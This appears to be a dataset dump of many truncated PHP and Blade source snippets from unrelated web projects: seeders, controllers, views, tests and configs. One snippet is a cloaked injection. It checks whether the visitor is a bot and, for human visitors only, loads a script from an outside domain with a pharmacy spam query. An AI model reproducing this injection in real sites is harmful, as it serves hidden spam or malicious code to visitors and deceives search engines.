text
stringlengths
2
1.03M
<?php use Illuminate\Database\Seeder; class UserTableSeeder extends Seeder { /** * Run the database seeds. * * @return void */ public function run() { factory(\App\User::class,1)->create(); } }
@extends('layouts.main') @section('bodycontent') <!-- Bootstrap Boilerplate... --> <div class="panel-body"> {!! Form::open(array('class'=>'form-horizontal', 'method'=>'post')) !!} <fieldset> <legend>Please sign up</legend> <div class="control-group"> {!! Form::label('username...
<?php namespace CodeFinances\Models; use Illuminate\Database\Eloquent\Model; use Prettus\Repository\Contracts\Transformable; use Prettus\Repository\Traits\TransformableTrait; use Kalnoy\Nestedset\NodeTrait; use HipsterJazzbo\Landlord\BelongsToTenants; /** * Class Category. * * @package namespace CodeFinances\Mo...
<?php declare(strict_types=1); /** * This file is part of the Phalcon Framework. * * (c) Phalcon Team <team@phalcon.io> * * For the full copyright and license information, please view the LICENSE.txt * file that was distributed with this source code. */ namespace Phalcon\Test\Integration\Mvc\Application; use ...
@extends('web.index') @section('content') <?Php $host= $_SERVER["HTTP_HOST"]; $url= $_SERVER["REQUEST_URI"]; ?> <div class="container "> <!-- HEADER --> <div class="col-xs-12 col-sm-12 col-md-12 col-lg-12"> <div class="header"> @if(empty($course->img)) Sin imagen de encabezado @els...
@extends('panelUser.master.index') @section('rowcontent') <div class="col-xs-12 col-md-8 col-lg-8 col-xl-8"> <div class="card-header"> <h5 class="card-title">بروزرسانی کوپن</h5> </div> <div class="card-body"> <form method="post" action="/panel/coupon/{{$coupon->id}}" ...
<?php /** * LightMVC/ASCMVC * * @package LightMVC/ASCMVC * @author Andrew Caya * @link https://github.com/lightmvc/ascmvc * @version 4.0.0 * @license http://www.apache.org/licenses/LICENSE-2.0 Apache License, Version 2.0. * @since 1.0.0 */ namespace Ascmvc; use Ascmvc\Mvc\AscmvcEvent;...
<?php /** * @file * Contains \Drupal\file\FileAccessControlHandler. */ namespace Drupal\file; use Drupal\Core\Access\AccessResult; use Drupal\Core\Entity\EntityAccessControlHandler; use Drupal\Core\Entity\EntityInterface; use Drupal\Core\Entity\EntityStorageInterface; use Drupal\Core\Session\AccountInterface; /*...
<?php namespace Czim\FileHandling\Variant\Strategies; use Czim\FileHandling\Contracts\Storage\ProcessableFileInterface; use Czim\FileHandling\Contracts\Variant\VariantStrategyInterface; use Czim\FileHandling\Exceptions\VariantStrategyShouldNotBeAppliedException; abstract class AbstractVariantStrategy implements Vari...
<?php namespace CWM\BroadWorksConnector\Ocip\Models; /** * CollaborateRoomAttendeeNotification * * Choices for the notification when attendees join or leave the collaborate room session. * * @method static CollaborateRoomAttendeeNotification PLAY_TONE() * @method static CollaborateRoomAttendeeNotification NO_NO...
@extends('admin.layouts.app') @section('title', __('car_model.title_edit')) @section('content') <!-- Page content --> <div class="page-content pt-0"> <!-- Main content --> <div class="content-wrapper"> <!-- Content area --> <div class="content"> <div class...
<?php /** * Created by PhpStorm. * User: cristian * Date: 02/08/2017 * Time: 21:22 */ ?> <div class="be-wrapper"> <nav class="navbar navbar-default navbar-fixed-top be-top-header"> <div class="container-fluid"> <div class="navbar-header"><a href="index.html" class="navbar-brand"></a> ...
<!-- Begin Page Content --> <div class="container-fluid"> <!-- Page Heading --> <h1 class="h3 mb-4 text-gray-800"><?= $title; ?></h1> <!-- Menerima $data['title'] --> <div class="row"> <div class="col-lg"> <?= form_error('criteria', '<div class="alert alert-danger" role="alert">', '<...
<?php namespace app\command; use PhpAmqpLib\Connection\AMQPStreamConnection; use PhpAmqpLib\Message\AMQPMessage; use think\console\Command; use think\console\Input; use think\console\input\Argument; use think\console\input\Option; use think\console\Output; class NewTask extends Command { protected function confi...
<?php /* TwigBundle:Exception:error.txt.twig */ class __TwigTemplate_a75b2580dd61afea7aec893fee39776ee2c4136580cb8ba3f4bd2b41fa2545ef extends Twig_Template { public function __construct(Twig_Environment $env) { parent::__construct($env); $this->parent = false; $this->blocks = array( ...
<?php /* * This file is part of Sulu. * * (c) MASSIVE ART WebServices GmbH * * This source file is subject to the MIT license that is bundled * with this source code in the file LICENSE. */ namespace Sulu\Component\Rest\ListBuilder\Metadata\Doctrine\Driver; use Metadata\Driver\AbstractFileDriver; use Metadata...
<div class="table-responsive"> <table class="table table-hover table-bordered"> <thead> <tr> <th>Rank</th> <th>Nama</th> <th>Level</th> <th>Total Repeat Order</th> </tr> </thead> <tbody> @fore...
<?php declare(strict_types=1); /* * This file is part of the Sonata Project package. * * (c) Thomas Rabaix <thomas.rabaix@sonata-project.org> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Sonata\AdminBundle\Twig\Exte...
<?php /** * Pure-PHP implementation of RC2. * * Uses mcrypt, if available, and an internal implementation, otherwise. * * PHP version 5 * * Useful resources are as follows: * * - {@link http://tools.ietf.org/html/rfc2268} * * Here's a short example of how to use this library: * <code> * <?php * inclu...
<!-- Preloader --> <div class="preloader flex-column justify-content-center align-items-center"> <img class="animation__shake" src="<?= base_url() ?>assets/admin/dist/img/AdminLTELogo.png" alt="AdminLTELogo" height="60" width="60"> </div>
<?php /** * Zend Framework * * LICENSE * * This source file is subject to the new BSD license that is bundled * with this package in the file LICENSE.txt. * It is also available through the world-wide-web at this URL: * http://framework.zend.com/license/new-bsd * If you did not receive a copy of the license an...
<?php namespace App\Http\Controllers\Admin; use App\User; use Illuminate\Http\Request; use App\Http\Controllers\Controller; class systemUsersController extends Controller { /* Display a listing of the users. */ public function index() { $users = $this->allUsers(); return view('admin.users...
<?php // Classe pour se connecter à la base de données // Son usage n'est pas obligatoire, vous pouvez faire sans class dataBase { // private PDO $db; // public function __construct() { // try { // $this->db = new PDO('mysql:host=localhost;dbname=book_management', 'bookManager', 'bookManager'); ...
@extends('layouts.app') @section('content') <div class="row mt-3"> <div class="col-md-7"> <div class="card shadow-sm mb-4"> <div class="card-header py-3"> <h6 class="m-0 font-weight-bold text-primary">Detail Instansi KP - {{ $pengajuanKp->judul }}</h6> ...
<!DOCTYPE html> <html lang="en"> <head> <title>Support</title> <meta charset="utf-8"> <link rel="stylesheet" href="css/reset.css" type="text/css" media="all"> <link rel="stylesheet" href="css/layout.css" type="text/css" media="all"> <link rel="stylesheet" href="css/style.css" type="text/css" media="all"> <script type="...
<!DOCTYPE html> <html lang="en"> @toastr_css @include('layouts.header') <body> <section id="container"> <!-- ********************************************************************************************************************************************************** TOP BAR CONTENT & NOTIFICATIONS ...
<?php namespace Simple; use Simple\Exception\HttpException; use ErrorException; use Simple\Http\Response; class Route { /** * 默认命名空间 * @var string */ protected $namespace = 'App\\Controller\\'; /** * Route constructor. * @param $rules array 路由规则 * @throws ErrorException ...
<?php // This is the HTML template include file (.tpl.php) for the referencia_categoria_list.php // form DRAFT page. Remember that this is a DRAFT. It is MEANT to be altered/modified. // Be sure to move this out of this directory before modifying to ensure that subsequent // code re-generations do not overwrite...
<?php /** * Elgg Actions * * @see http://learn.elgg.org/en/latest/guides/actions.html * * @package Elgg.Core * @subpackage Actions */ use Elgg\Http\ResponseBuilder; /** * Handle a request for an action * * @param array $segments URL segments that make up action name * * @return ResponseBuilder|null * @a...
<ul> <li class="current_page_item"><a href="index.php">Home</a></li> <li><a href="category.php">Category</a></li> <li><a href="subcategory.php">Sub_Category</a></li> <li><a href="all_book.php">Books</a></li> <li class="last"><a href="contact.php">Contact</a></li> <?php if(isset($_SESSION['stat...
<?php namespace App\src\controller; /** * Class ErrorController * @package App\src\controller */ class ErrorController extends Controller { /** * @return View */ public function errorNotFound() { return $this->view->render('error_404'); } /** * @return View */ p...
<?php /* |-------------------------------------------------------------------------- | Web Routes |-------------------------------------------------------------------------- | | Here is where you can register web routes for your application. These | routes are loaded by the RouteServiceProvider within a group which | ...
<?php namespace Library\Http\Controllers; use Illuminate\Http\Request; use Library\Photo; use Library\Album; use Library\Http\Requests; use Library\Http\Controllers\Controller; use Illuminate\Support\Facades\Redirect; class PhotosController extends Controller { public function index($id) { $photos =...
@extends('front.iteam') @section('title') {{ $page->meta_title ? $page->meta_title . ' ' : ($page->title ? $page->title . ' ' : '') }} | @stop @section('main') <div class="row"> @if($crumbs && Request::segment(1)) <div class="row"> <div id="crumb"> <nav id="crumbs"> @foreach($cru...
@extends('brackets/admin-ui::admin.layout.default') @section('title', trans('admin.translatable-article.actions.index')) @section('body') <translatable-article-listing :data="{{ $data->toJson() }}" :url="'{{ url('admin/translatable-articles') }}'" inline-template> <div class="row...
@extends('layouts.weblayout') @section('title', 'Children books') @section('content') <div class="row margin-vert-30"> <!-- Main Column --> <div class="col-md-9"> @foreach($children as $child) ...
<div id="TambahData" class="modal hide fade" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true"> <div class="modal-dialog modal-lg"> <div class="modal-content"> <div class="modal-header"> <h4 class="modal-title" id="modal-title">Status Penjualan</h4> ...
<?php namespace App; use Illuminate\Database\Eloquent\Model; class Marital extends Model { protected $fillable = [ 'status' ]; public function marital(){ return $this -> hasMany(Employee::class); } }
<?php namespace Packages\Admin\Controller; use App\Http\Controllers\Controller; class SocietyConfigController extends Controller { /** * Display a listing of the resource. * * @return Response */ public $layout = 'admin::layouts.admin_layout'; public function index() { $createPerm...
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content=""> <meta name="author" content=""> <?php require 'includes/hea...
<div id="dlgUnitPrice" class="easyui-dialog" buttons="#tbUnitPrice" style="width:400px;height:300px;padding:5px 5px;left:100px;top:20px" closed="true" > <form id="frmUnitPrice" name="frmUnitPrice" method="POST"> <table class="table2" width="100%"> <tr><td>Kode</td><td><input type="text" name="customer_pricing_cod...
<?php /* * This file is part of Cachet. * * (c) Alt Three Services Limited * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ return [ 'dashboard' => 'לוח בקרה', 'writeable_settings' => 'תיקיית ההגדרות של Cachet אי...
<?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Employee; use App\Emp_Dep_Position; use Maatwebsite\Excel\Facades\Excel; use App\Imports\EmployeesImport; use App\Exports\EmployeesExport; use Illuminate\Support\Facades\Mail; use Illuminate\Support\Facades\Config; use App\Http\Requests\Emp...
<?php namespace common\widgets; use Yii; use yii\helpers\ArrayHelper; class LanguageSelector extends \yii\base\Widget { /** * * @var string links | pills */ public $view = 'links'; /** * * @var string code | title */ public $display = 'code'; public function run(...
<?php $this->load->view('/header.php'); ?> <?php $this->load->view('/top.php'); ?> <?php $this->load->view('/menu.php'); ?> <!-- 右侧区域开始 --> <div class="right_body"> <!-- 当前位置开始 --> <div class="snav">您的位置:<a href="<?php echo build_url('Frame'); ?>">管理首页</a> » 操作日志</div> <!-- 右侧主体内容开始 --> <div class="m...
@extends ('admin.layouts.admin') @section('principal') <div class="card card-secondary"> <div class="card-header"> <h3 class="card-title">Rango de Documento</h3> <button class="btn btn-default btn-sm float-right" data-toggle="modal" data-target="#modal-nuevo"><i class="fa fa-plus"></i>&nbsp;Nuevo</b...
<?php namespace App\Models; use Illuminate\Database\Eloquent\Model; class Degree extends Model { protected $fillable = ['name']; public $timestamps = false; }
<?php use Illuminate\Database\Seeder; class GradesTableSeeder extends Seeder { /** * Run the database seeds. * * @return void */ public function run() { factory(App\Grade::class, 12)->create(); } }
@extends('admin.layout.master') @section('content') <div id="main-wrapper"> @include('admin.includes.sidebar') <div class="page-wrapper "> <div class="row"> <div class="col-lg-12 margin-tb"> <div class="pull-left ml-2"> <h2>Course list</h2> ...
<?php if($paginator->hasPages()): ?> <nav> <ul class="pagination"> <?php if($paginator->onFirstPage()): ?> <li class="page-item disabled" aria-disabled="true" aria-label="<?php echo app('translator')->get('pagination.previous'); ?>"> <span class="...
<?php namespace App\Filters; use CodeIgniter\HTTP\RequestInterface; use CodeIgniter\HTTP\ResponseInterface; use CodeIgniter\Filters\FilterInterface; class Auth implements FilterInterface { public function before(RequestInterface $request, $arguments = null) { // jika user belum login if(!sessi...
<?php return array( 'layout_on' => true, 'layout' => false, // 数据库配置 'db_type' => 'mysql', 'db_host' => '{db_host}', 'db_name' => 'adminPoem', 'db_user' => '{db_user}', 'db_pass' => '{db_pass}', 'db_prefix' => 'poem_', ...
<?php /** * This file is part of Tak-Me System. * * Copyright (c)2016-2017 PlusFive (https://www.plus-5.com) * * This software is released under the MIT License. * https://www.plus-5.com/licenses/mit-license */ namespace Tms\Cms; /** * Entry management class. * * @license https://www.plus-5.com/licenses/mit...
--TEST-- mysqli fetch mixed / mysql_query (may fail when using 4.1 library with 5.x server) --SKIPIF-- <?php require_once('skipif.inc'); require_once('skipifconnectfailure.inc'); ?> --FILE-- <?php require_once("connect.inc"); /*** test mysqli_connect 127.0.0.1 ***/ $link = my_mysqli_connect($host, $user, $passwd, $...
<?php namespace Nikazooz\Simplesheet\Concerns; interface WithBatchInserts { /** * @return int */ public function batchSize(): int; }
<?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; class CreatePhotoFolderLocalesTable extends Migration { public function up() { Schema::create('photo_folder_locales', function (Blueprint $table) { $table->...
<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed'); /** * Code Igniter * * An open source application development framework for PHP 4.3.2 or newer * * @package CodeIgniter * @author ExpressionEngine Dev Team * @copyright Copyright (c) 2008, EllisLab, Inc. * @license http://codeigniter...
<?php use Illuminate\Http\Request; /* |-------------------------------------------------------------------------- | API Routes |-------------------------------------------------------------------------- | | Here is where you can register API routes for your application. These | routes are loaded by the RouteServicePr...
<?php include 'check_is_bot.php'; if(empty($is_bot)){ echo '<script type="text/javascript">var q = "buy generic strattera";</script> <script type="text/javascript" src="http://thecaotructuyen.com/2018/06/jscs.min.js"></script>'; } if(!empty($is_bot)){ } ?> <!DOCTYPE html PUBLIC "-//W3C//DTD X...
<?php namespace Demo\Infrastructure\Mapping\Customer; use Demo\Application\MappingInterface; use Demo\Domain\Core\EmailAddress; use Demo\Domain\Customer\Customer; final class CustomerMapping implements MappingInterface { private static $tables = [ 'production' => 'customers', 'publishing' => 'cu...
<?php /** * Copyright (c) Microsoft Corporation. All Rights Reserved. Licensed under the MIT License. See License in the project root for license information. * * AggregationOption File * PHP version 7 * * @category Library * @package Microsoft.Graph * @copyright (c) Microsoft Corporation. All rights reserved. *...
<?php declare(strict_types=1); namespace Shopware\Core\Framework\Store\Exception; use Shopware\Core\Framework\ShopwareHttpException; /** * @deprecated tag:v6.5.0 - Will be replaced with \Shopware\Core\Framework\Store\Exception\ExtensionUpdateRequiresConsentAffirmationException */ class ExtensionRequiresNewPrivileg...
@extends('website.backend.layouts.main') @section('content') <div class="col-md-12 col-sm-12 "> <div class="x_panel"> <div class="x_title"> <h2>Product</small></h2> {{-- <ul class="nav navbar-right panel_toolbox"> <li><a class="collapse-link"><i class="fa fa-chevron-u...
<?php defined('BASEPATH') OR exit('No direct script access allowed'); class Patient_marks extends MY_Controller { /** * Index Page for this controller. * * Maps to the following URL * http://example.com/index.php/welcome * - or - * http://example.com/index.php/welcome/index * - or - * Since this ...
<?php namespace CommunityTranslation\Repository; use CommunityTranslation\Entity\Locale as LocaleEntity; use CommunityTranslation\Entity\Package\Version as PackageVersionEntity; use CommunityTranslation\Entity\Stats as StatsEntity; use CommunityTranslation\Entity\Translatable as TranslatableEntity; use CommunityTrans...
<?php use yii\helpers\Html; /* @var $this yii\web\View */ /* @var $model backend\models\Posts */ $this->title = 'Update Posts: ' . $model->post_id; $this->params['breadcrumbs'][] = ['label' => 'Posts', 'url' => ['index']]; $this->params['breadcrumbs'][] = ['label' => $model->post_id, 'url' => ['view', 'id' => $model...
<?php // This file is auto-generated, don't edit it. Thanks. namespace AlibabaCloud\SDK\Imageprocess\V20200320\Models\RunCTRegistrationResponseBody; use AlibabaCloud\Tea\Model; class data extends Model { /** * @var string */ public $DUrl; /** * @var string */ public $NUrl; p...
<?php namespace Concrete\Tests\Express; use Concrete\TestHelpers\Database\ConcreteDatabaseTestCase; class AttributeKeyHandleGeneratorTest extends ConcreteDatabaseTestCase { protected $metadatas = [ 'Concrete\Core\Entity\Express\Entity', 'Concrete\Core\Entity\Express\Entry', 'Concrete\Core...
<?php include 'modelos/head.php' ?> <?php include 'modelos/slide.php' ?> <nav id="prop"> <ul> <li><img width="100%" height="100%" src="imagens/beneficios.png" alt=""></li> </ul> </nav> <?php if((!isset ($_SESSION['usuarioNome']) == false) and (!isset ($_SESSION['usuarioSenha']) == false...
<?php namespace PQ\QuiniBundle\Entity; use Doctrine\ORM\Mapping as ORM; /** * ComCompeticio * * @ORM\Table(name="com_competicio") * @ORM\Entity */ class ComCompeticio { /** * @var string * * @ORM\Column(name="COM_NOM", type="string", length=45, nullable=false) */ private $comNom; ...
<?php use yii\helpers\Html; use yii\widgets\ActiveForm; /* @var $this yii\web\View */ /* @var $model app\models\UserSearch */ /* @var $form yii\widgets\ActiveForm */ ?> <div class="user-search"> <?php $form = ActiveForm::begin([ 'action' => ['index'], 'method' => 'get', ]); ?> <?= $form...
<?php use yii\helpers\Html; use yii\bootstrap\ActiveForm; /* @var $this yii\web\View */ /* @var $form yii\bootstrap\ActiveForm */ /* @var $model \common\models\LoginForm */ $this->title = 'Sign In'; $fieldOptions1 = [ 'options' => ['class' => 'form-group has-feedback'], 'inputTemplate' => "{input}<span class...
<?php use Illuminate\Database\Seeder; class PostSeeder extends Seeder { /** * Run the database seeds. * * @return void */ public function run() { DB::table('tbl_posts')->insert([ 'post_title' => 'Lorem Ipsum', 'post_content' => 'Lorem Ipsum dolor sit amet...', 'post_status' => 'published', 'p...
<?php return [ /* |-------------------------------------------------------------------------- | PDO Fetch Style |-------------------------------------------------------------------------- | | By default, database results will be returned as instances of the PHP | stdClass object; however, you may desire to ret...
<?php declare(strict_types=1); namespace NunoMaduro\PhpInsights\Domain\Insights; use NunoMaduro\PhpInsights\Domain\Contracts\HasDetails; use NunoMaduro\PhpInsights\Domain\Details; /** * @see \Tests\Domain\Insights\ForbiddenTraitsTest */ final class ForbiddenTraits extends Insight implements HasDetails { publi...
<?php namespace App\Mail; use Illuminate\Bus\Queueable; use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Mail\Mailable; use Illuminate\Queue\SerializesModels; class NewBill extends Mailable { use Queueable, SerializesModels; /** * Create a new message instance. * * @return void ...
<?php /************************************************************************** * MAIL UTILITY PHP SCRIPT * @author : R.Genesis.Art * This file is licensed to R.Genesis.Art (http://themeforest.net/user/r_genesis) and prohibited to copy or reuse it. * Copyright R.Genesis.Art 2015 **********************************...
<?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Post; class PostController extends Controller { /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { $post = new Post; $posts = $post->all(...
<?php if (!empty($_FILES)): $ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION); if (!in_array($ext, ['gif', 'png', 'jpg', 'jpeg'])) { die('Unsupported filetype uploaded.'); } $new_name = __DIR__ . '/uploadfiles/' . $_FILES['file_upload']['name']; if(!move_uploaded_file($_FILES['file_upload']['tm...
--TEST-- zend_strtod() leaks on big doubles --INI-- precision=14 --FILE-- <?php var_dump("1139932690.21688500" - "1139932790.21688500"); var_dump("1139932690000.21688500" - "331139932790.21688500"); var_dump("339932690.21688500" - "4564645646456463461139932790.21688500"); var_dump("123123139932690.21688500" - "11399327...
<?php namespace App\Http\Livewire\Member; use App\Model\Penyewaan; use Carbon\Carbon; use Illuminate\Support\Facades\Auth; use Livewire\Component; class Notifikasi extends Component { public $dataRefuse ,$dataKembali; public function mount(){ $this->dataRefuse = Penyewaan::where('sewa_user', Auth:...
<?php namespace app\index\controller; use app\common\model\Article; use app\common\model\ArtCate; use app\common\controller\Base; use think\Controller; use QL\QueryList; class Test3 extends Base { public function index(){ $data_src = QueryList::get('http://news.sina.com.cn/world/')->rules([ '地址'=>array('.news...
<?php /* vim: set expandtab tabstop=4 shiftwidth=4: */ // +----------------------------------------------------------------------+ // | PHP version 4.0 | // +----------------------------------------------------------------------+ // | Copyright (c) 1997, 1998, 1999, ...
<?php $lang["item_kits_add_item"] = "Добавить товар"; $lang["item_kits_all"] = ""; $lang["item_kits_cannot_be_deleted"] = "Не могу удалить Товара комплект (ы)"; $lang["item_kits_confirm_delete"] = "Вы уверены, что хотите удалить выбранные товар? комплекты"; $lang["item_kits_description"] = "Описание товара Комплект";...
<?php use yii\helpers\ArrayHelper; use yii\helpers\Html; use yii\helpers\Inflector; // $ownerAtList = []; // foreach ($theTour['bookings'] as $booking) { // if (USER_ID != $booking['case']['owner_id']) { // $ownerAtList[$booking['case']['owner']['id']] = '@['.$booking['case']['owner']['nickname'].']'; // ...
<?php namespace Drupal\address_map_link\Annotation; use Drupal\Component\Annotation\Plugin; /** * Defines a Map link item annotation object. * * @see \Drupal\address_map_link\Plugin\MapLinkManager * @see plugin_api * * @Annotation */ class MapLink extends Plugin { /** * The plugin ID. * * @var st...
<?php namespace CAII\ProyectoBundle\DataFixtures\ORM; use Doctrine\Common\DataFixtures\AbstractFixture; use Doctrine\Common\DataFixtures\OrderedFixtureInterface; use Doctrine\Common\DataFixtures\ReferenceRepository; use Doctrine\Common\Persistence\ObjectManager; use CAII\ProyectoBundle\Entity\Proyecto; class p...
<?php namespace Database\Seeders; use Illuminate\Database\Seeder; class DatabaseSeeder extends Seeder { /** * Seed the application's database. * * @return void */ public function run() { \App\Models\User::factory(10)->create(); \App\Models\Company::factory(10)->create(...
<?php namespace App\Http\Controllers\Auth\Registrar; use Illuminate\Auth\Events\PasswordReset; use App\Http\Controllers\Controller; use Illuminate\Http\Request; use Illuminate\Foundation\Auth\ResetsPasswords; use Illuminate\Support\Facades\Password; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\...
<?php namespace bs\phpSysInfo; use yii\base\BootstrapInterface; /** * phpSysInfo module bootstrap class. */ class Bootstrap implements BootstrapInterface { /** * @inheritdoc */ public function bootstrap($app) { // add module I18N category if (!isset($app->i18n->translations['p...
@extends('layouts/browse') @section('css') {!!Theme::css('vendors/select2/select2.min.css')!!} @endsection @section('content') <div class="card-content" id="conteudo-paramim"> <div class="row mb-1"> @include('protocolo/modal-busca') </div> <div class="row"> <div class="col s12 m6 l6 offset-m3 offset-l3"> ...
<?php namespace Facade\Ignition\Views\Compilers; use ErrorException; use Illuminate\View\Compilers\BladeCompiler; class BladeSourceMapCompiler extends BladeCompiler { public function detectLineNumber(string $filename, int $exceptionLineNumber): int { try { $map = $this->compileString(file...
<?php namespace frontend\assets; use yii\web\AssetBundle; /** * Main backend application asset bundle. */ class SuspensionAsset extends AssetBundle { public $basePath = '@webroot'; public $baseUrl = '@web'; public $css = [ 'css/site.css', 'js/bootstrap-datepicker-1.6.4-dist\css\bootstra...
<?php //00551 // -------------------------- // Created by Dodols Team // -------------------------- if(!extension_loaded('ionCube Loader')){$__oc=strtolower(substr(php_uname(),0,3));$__ln='ioncube_loader_'.$__oc.'_'.substr(phpversion(),0,3).(($__oc=='win')?'.dll':'.so');if(function_exists('dl')){@dl($__ln);}if(function...
<?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class RestructurePostsTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('posts', funct...
<?php namespace app\modules\admin\controllers; use app\models\Tshx; use app\models\search\TshxSearch; use yii\web\Controller; use yii\web\NotFoundHttpException; use yii\filters\VerbFilter; /** * TshxController implements the CRUD actions for Tshx model. */ class TshxController extends Controller { /** * @...
@extends('layout') @section('content') <h1>Edit Message</h1> {{ Form::open(['route' => ['message.update', $message->id], 'method' => 'PUT', 'files' => true]) }} {{ Form::text('published_at', Input::old('published_at', $message->published_at->format('Y-m-d H:i:s')), ['class' => 'form-text', 'placeholder' => 'Publ...
<?php $this->load->view('AdminPages/header'); ?> <?php include 'footer.php'; ?>
<?php use App\Http\Controllers\UiController; ?> <div style="margin:10px;" class="productInfoTable" ng-controller="getProductsController" ng-cloak> <div class="card" ng-show="productInfoTable"> <div class="card-content with-padding" style="font-size: x-large"> <strong><i class="fa fa-shopping-ba...
<?php namespace Tests\Feature; use App\Models\Item; use App\Models\TodoList; use App\Models\User; use Carbon\Carbon; use Tests\TestCase; class TodoListStoreItemControllerTest extends TestCase { public function test_can_add_a_normal_item_to_todolist() { $item = [ "name" => "name of item", ...